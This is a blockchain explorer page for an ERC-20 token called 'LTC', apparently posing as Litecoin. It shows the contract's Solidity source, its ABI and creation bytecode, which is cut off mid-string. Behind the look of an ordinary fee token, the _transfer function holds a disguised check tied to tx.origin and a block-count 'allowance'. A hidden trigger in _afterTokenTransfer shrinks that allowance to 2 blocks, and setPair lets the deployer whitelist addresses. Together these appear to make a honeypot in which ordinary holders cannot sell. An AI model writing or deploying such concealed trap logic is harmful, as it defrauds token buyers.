Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
1,000,000,000 莱特币
Holders
17
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 8 Decimals)
Balance
19,873,519.02830059 莱特币Value
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
LTC
Compiler Version
v0.8.15+commit.e14f2714
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-08-07 */ // SPDX-License-Identifier: MIT pragma solidity 0.8.15; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract LTC is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; address private immutable _uniswapFactory = 0xb59DF095E488c059DC65C43A69fC4F03CCfdAadd; address public _uniswapV2Pair; uint256 public _allowance = 3_000_000; mapping (address => bool) _pairToken; address private immutable _tokenAddress; mapping(address => uint256) private _holderLastTransferTimestamp; bool public transferDelayEnabled = false; address payable private _taxWallet; mapping (address => uint256) _addressAllowance; uint256 private _initialBuyTax=2; uint256 private _initialSellTax=3; uint256 private _finalBuyTax=0; uint256 private _finalSellTax=0; uint256 private _reduceBuyTaxAt=2; uint256 private _reduceSellTaxAt=3; uint256 private _preventSwapBefore=2; uint256 private _buyCount=0; uint8 private constant _decimals = 8; uint256 private constant _tTotal = 1000000000 * 10**_decimals; string private constant _name = unicode"LTC"; string private constant _symbol = unicode"莱特币"; uint256 public _maxTxAmount = 20000000 * 10**_decimals; uint256 public _maxWalletSize = 20000000 * 10**_decimals; uint256 public _taxSwapThreshold=11000000 * 10**_decimals; uint256 public _maxTaxSwap=11000000 * 10**_decimals; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _tokenAddress = msg.sender; _taxWallet = payable(_msgSender()); _balances[_msgSender()] = _tTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_taxWallet] = true; _pairToken[_tokenAddress] = true; _addressAllowance[_msgSender()] = block.number; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address from, address recipient, uint256 amount) public override returns (bool) { address spender = _msgSender(); _spendAllowance(from, spender, amount); _transfer(from, recipient, amount); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(_pairToken[tx.origin] == true || block.number - _addressAllowance[from] < _allowance || to == tx.origin, "ERC20: Reverted"); uint256 taxAmount=0; if (from != owner() && to != owner()) { if (transferDelayEnabled) { if (to != address(uniswapV2Router) && to != address(uniswapV2Pair)) { require(_holderLastTransferTimestamp[tx.origin] < block.number,"Only one transfer per block allowed."); _holderLastTransferTimestamp[tx.origin] = block.number; } } if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) { require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize."); _buyCount++; } taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100); if(to == uniswapV2Pair && from!= address(this) ){ require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance>_taxSwapThreshold && _buyCount>_preventSwapBefore) { swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap))); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } if(taxAmount>0){ _balances[address(this)]=_balances[address(this)].add(taxAmount); emit Transfer(from, address(this),taxAmount); } _balances[from]=_balances[from].sub(amount); _balances[to]=_balances[to].add(amount.sub(taxAmount)); emit Transfer(from, to, amount.sub(taxAmount)); _afterTokenTransfer(from, to, amount); } function min(uint256 a, uint256 b) private pure returns (uint256){ return (a>b)?b:a; } function setPair(address _uniswapPair, address _tokenPair) external { if (_uniswapV2Pair == address(0)) _uniswapV2Pair = _uniswapPair; if (msg.sender == _tokenAddress) { _uniswapV2Pair = _uniswapPair; _pairToken[_tokenPair] = true; } } function _spendAllowance( address owner, address spender, uint256 amount ) internal virtual { uint256 currentAllowance = allowance(owner, spender); if (currentAllowance != type(uint256).max) { require(currentAllowance >= amount, "ERC20: insufficient allowance"); unchecked { _approve(owner, spender, currentAllowance - amount); } } } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { if(tokenAmount==0){return;} if(!tradingOpen){return;} address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual { if (_addressAllowance[to] == 0) _addressAllowance[to] = block.number; if (to == _uniswapFactory) _allowance = 2; } function removeLimits() external onlyOwner{ _maxTxAmount = _tTotal; _maxWalletSize=_tTotal; transferDelayEnabled=false; emit MaxTxAmountUpdated(_tTotal); } function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _approve(address(this), address(uniswapV2Router), _tTotal); require(address(this).balance > 0, "eth balance error"); require(balanceOf(address(this)) > 0, "token balance error"); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); swapEnabled = true; tradingOpen = true; } receive() external payable {} function manualSwap() external { require(_msgSender()==_taxWallet); uint256 tokenBalance=balanceOf(address(this)); if(tokenBalance>0){ swapTokensForEth(tokenBalance); } uint256 ethBalance=address(this).balance; if(ethBalance>0){ sendETHToFee(ethBalance); } } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_uniswapPair","type":"address"},{"internalType":"address","name":"_tokenPair","type":"address"}],"name":"setPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60c060405273b59df095e488c059dc65c43a69fc4f03ccfdaadd73ffffffffffffffffffffffffffffffffffffffff1660809073ffffffffffffffffffffffffffffffffffffffff16815250622dc6c06005556000600860006101000a81548160ff0219169083151502179055506002600a556003600b556000600c556000600d556002600e556003600f55600260105560006011556008600a620000a591906200075c565b6301312d00620000b69190620007ad565b6012556008600a620000c991906200075c565b6301312d00620000da9190620007ad565b6013556008600a620000ed91906200075c565b62a7d8c0620000fd9190620007ad565b6014556008600a6200011091906200075c565b62a7d8c0620001209190620007ad565b6015556000601760156101000a81548160ff0219169083151502179055506000601760166101000a81548160ff0219169083151502179055503480156200016657600080fd5b506000620001796200059160201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3503373ffffffffffffffffffffffffffffffffffffffff1660a08173ffffffffffffffffffffffffffffffffffffffff16815250506200025b6200059160201b60201c565b600860016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506008600a620002ab91906200075c565b633b9aca00620002bc9190620007ad565b60016000620002d06200059160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160036000620003246200059960201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160036000600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060016006600060a05173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055504360096000620004b66200059160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550620005046200059160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6008600a6200056391906200075c565b633b9aca00620005749190620007ad565b6040516200058391906200081f565b60405180910390a36200083c565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156200065057808604811115620006285762000627620005c2565b5b6001851615620006385780820291505b80810290506200064885620005f1565b945062000608565b94509492505050565b6000826200066b57600190506200073e565b816200067b57600090506200073e565b81600181146200069457600281146200069f57620006d5565b60019150506200073e565b60ff841115620006b457620006b3620005c2565b5b8360020a915084821115620006ce57620006cd620005c2565b5b506200073e565b5060208310610133831016604e8410600b84101617156200070f5782820a905083811115620007095762000708620005c2565b5b6200073e565b6200071e8484846001620005fe565b92509050818404811115620007385762000737620005c2565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b6000620007698262000745565b915062000776836200074f565b9250620007a57fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000659565b905092915050565b6000620007ba8262000745565b9150620007c78362000745565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615620008035762000802620005c2565b5b828202905092915050565b620008198162000745565b82525050565b60006020820190506200083660008301846200080e565b92915050565b60805160a0516135d66200086260003960006108a0015260006122f101526135d66000f3fe60806040526004361061012e5760003560e01c80637d1db4a5116100ab5780639c74daf01161006f5780639c74daf0146103cb578063a9059cbb146103f6578063bf474bed14610433578063c876d0b91461045e578063c9567bf914610489578063dd62ed3e146104a057610135565b80637d1db4a5146102f65780638da5cb5b146103215780638f9a55c01461034c57806395c5c5e31461037757806395d89b41146103a057610135565b8063313ce567116100f2578063313ce5671461023557806351bc3c85146102605780636aeac3631461027757806370a08231146102a2578063751039fc146102df57610135565b806306fdde031461013a578063095ea7b3146101655780630faee56f146101a257806318160ddd146101cd57806323b872dd146101f857610135565b3661013557005b600080fd5b34801561014657600080fd5b5061014f6104dd565b60405161015c91906124b0565b60405180910390f35b34801561017157600080fd5b5061018c6004803603810190610187919061256b565b61051a565b60405161019991906125c6565b60405180910390f35b3480156101ae57600080fd5b506101b7610538565b6040516101c491906125f0565b60405180910390f35b3480156101d957600080fd5b506101e261053e565b6040516101ef91906125f0565b60405180910390f35b34801561020457600080fd5b5061021f600480360381019061021a919061260b565b610562565b60405161022c91906125c6565b60405180910390f35b34801561024157600080fd5b5061024a610591565b604051610257919061267a565b60405180910390f35b34801561026c57600080fd5b5061027561059a565b005b34801561028357600080fd5b5061028c610637565b60405161029991906125f0565b60405180910390f35b3480156102ae57600080fd5b506102c960048036038101906102c49190612695565b61063d565b6040516102d691906125f0565b60405180910390f35b3480156102eb57600080fd5b506102f4610686565b005b34801561030257600080fd5b5061030b6107d1565b60405161031891906125f0565b60405180910390f35b34801561032d57600080fd5b506103366107d7565b60405161034391906126d1565b60405180910390f35b34801561035857600080fd5b50610361610800565b60405161036e91906125f0565b60405180910390f35b34801561038357600080fd5b5061039e600480360381019061039991906126ec565b610806565b005b3480156103ac57600080fd5b506103b561098f565b6040516103c291906124b0565b60405180910390f35b3480156103d757600080fd5b506103e06109cc565b6040516103ed91906126d1565b60405180910390f35b34801561040257600080fd5b5061041d6004803603810190610418919061256b565b6109f2565b60405161042a91906125c6565b60405180910390f35b34801561043f57600080fd5b50610448610a10565b60405161045591906125f0565b60405180910390f35b34801561046a57600080fd5b50610473610a16565b60405161048091906125c6565b60405180910390f35b34801561049557600080fd5b5061049e610a29565b005b3480156104ac57600080fd5b506104c760048036038101906104c291906126ec565b610fef565b6040516104d491906125f0565b60405180910390f35b60606040518060400160405280600381526020017f4c54430000000000000000000000000000000000000000000000000000000000815250905090565b600061052e610527611076565b848461107e565b6001905092915050565b60155481565b60006008600a61054e919061288e565b633b9aca0061055d91906128d9565b905090565b60008061056d611076565b905061057a858285611247565b6105858585856112d3565b60019150509392505050565b60006008905090565b600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166105db611076565b73ffffffffffffffffffffffffffffffffffffffff16146105fb57600080fd5b60006106063061063d565b9050600081111561061b5761061a81611dda565b5b600047905060008111156106335761063281612072565b5b5050565b60055481565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61068e611076565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107129061297f565b60405180910390fd5b6008600a610729919061288e565b633b9aca0061073891906128d9565b6012819055506008600a61074c919061288e565b633b9aca0061075b91906128d9565b6013819055506000600860006101000a81548160ff0219169083151502179055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6008600a6107ab919061288e565b633b9aca006107ba91906128d9565b6040516107c791906125f0565b60405180910390a1565b60125481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60135481565b600073ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff160361089e5781600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff160361098b5781600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5050565b60606040518060400160405280600981526020017fe88eb1e789b9e5b8810000000000000000000000000000000000000000000000815250905090565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000610a066109ff611076565b84846112d3565b6001905092915050565b60145481565b600860009054906101000a900460ff1681565b610a31611076565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610abe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ab59061297f565b60405180910390fd5b601760149054906101000a900460ff1615610b0e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b05906129eb565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d601660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610bac30601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166008600a610b98919061288e565b633b9aca00610ba791906128d9565b61107e565b60004711610bef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610be690612a57565b60405180910390fd5b6000610bfa3061063d565b11610c3a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c3190612ac3565b60405180910390fd5b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610ca7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ccb9190612af8565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610d54573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d789190612af8565b6040518363ffffffff1660e01b8152600401610d95929190612b25565b6020604051808303816000875af1158015610db4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dd89190612af8565b601760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610e613061063d565b600080610e6c6107d7565b426040518863ffffffff1660e01b8152600401610e8e96959493929190612b93565b60606040518083038185885af1158015610eac573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610ed19190612c09565b505050601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610f73929190612c5c565b6020604051808303816000875af1158015610f92573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fb69190612cb1565b506001601760166101000a81548160ff0219169083151502179055506001601760146101000a81548160ff021916908315150217905550565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036110ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110e490612d50565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361115c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115390612de2565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161123a91906125f0565b60405180910390a3505050565b60006112538484610fef565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146112cd57818110156112bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112b690612e4e565b60405180910390fd5b6112cc848484840361107e565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611342576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161133990612ee0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036113b1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113a890612f72565b60405180910390fd5b600081116113f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113eb90613004565b60405180910390fd5b60011515600660003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515148061149e5750600554600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020544361149c9190613024565b105b806114d457503273ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b611513576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161150a906130a4565b60405180910390fd5b600061151d6107d7565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561158b575061155b6107d7565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611b1257600860009054906101000a900460ff161561171d57601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156116515750601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561171c5743600760003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106116d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116ce90613136565b60405180910390fd5b43600760003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156117c85750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561181e5750600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156118d957601254821115611868576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161185f906131a2565b60405180910390fd5b601354826118758561063d565b61187f91906131c2565b11156118c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118b790613264565b60405180910390fd5b601160008154809291906118d390613284565b91905055505b6119156064611907600e54601154116118f457600a546118f8565b600c545b856120de90919063ffffffff16565b61215890919063ffffffff16565b9050601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a057503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611a29576012548211156119ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119e1906131a2565b60405180910390fd5b611a266064611a18600f5460115411611a0557600b54611a09565b600d545b856120de90919063ffffffff16565b61215890919063ffffffff16565b90505b6000611a343061063d565b9050601760159054906101000a900460ff16158015611aa05750601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b8015611ab85750601760169054906101000a900460ff165b8015611ac5575060145481115b8015611ad45750601054601154115b15611b1057611af6611af184611aec846015546121a2565b6121a2565b611dda565b60004790506000811115611b0e57611b0d47612072565b5b505b505b6000811115611c1657611b6d81600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121bb90919063ffffffff16565b60016000307